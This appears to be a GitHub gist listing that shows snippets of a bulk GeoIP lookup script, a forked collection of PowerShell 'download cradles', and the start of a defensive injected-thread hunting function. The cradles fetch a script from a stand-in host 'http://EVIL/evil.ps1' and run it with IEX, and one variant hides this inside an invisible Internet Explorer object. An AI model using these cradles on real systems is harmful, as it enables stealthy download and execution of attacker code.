Airman604 airman604

airman604 / geoip_lookup.sh

Last active July 9, 2021 22:50

Bulk lookup GeoIP information

	#!/bin/bash
	#
	# Script to bulk lookup GeoIP information using ipwhois.app API (free for up to 10,000 lookups per month).
	# Supports both IPv4 and IPv6 addresses.
	# Outputs data (IP, Country, City, ISP, Organization) in CSV format. No CSV header is added.
	# Adjust output format and/or add more fields in the jq expression as needed.
	#
	# Requires: curl, jq
	# Author: @airman604
	#

airman604 / DownloadCradles.ps1

Created February 11, 2018 15:25 — forked from HarmJ0y/DownloadCradles.ps1

Download Cradles

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

airman604 / Get-InjectedThread.ps1

Created February 8, 2018 20:28 — forked from jaredcatkinson/Get-InjectedThread.ps1

Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone

	function Get-InjectedThread
	{
	<#

	.SYNOPSIS

	Looks for threads that were created as a result of code injection.

	.DESCRIPTION